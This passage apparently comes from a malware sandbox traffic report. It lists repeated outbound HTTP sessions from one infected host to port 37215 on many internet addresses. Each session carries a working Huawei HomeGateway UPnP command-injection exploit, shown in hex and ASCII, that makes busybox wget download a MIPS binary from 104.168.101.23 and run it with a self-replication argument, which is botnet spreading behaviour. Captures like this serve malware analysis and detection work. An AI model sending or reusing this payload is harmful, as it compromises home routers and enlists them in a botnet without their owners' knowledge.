6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.13	45934	197.48.163.17	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.829108953 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.13	38670	46.205.90.64	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.830313921 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.13	48816	46.201.207.119	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.831561089 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.13	33966	196.40.168.239	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.832771063 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.13	58502	156.45.1.6	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.833885908 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.13	34548	181.45.240.179	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.835081100 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.13	46548	196.44.144.135	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.836354017 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.13	56428	196.89.100.55	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.837585926 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.13	39558	156.228.113.82	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.838583946 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.13	33512	41.195.235.33	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.839930058 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.13	51144	223.8.97.197	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.840976000 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 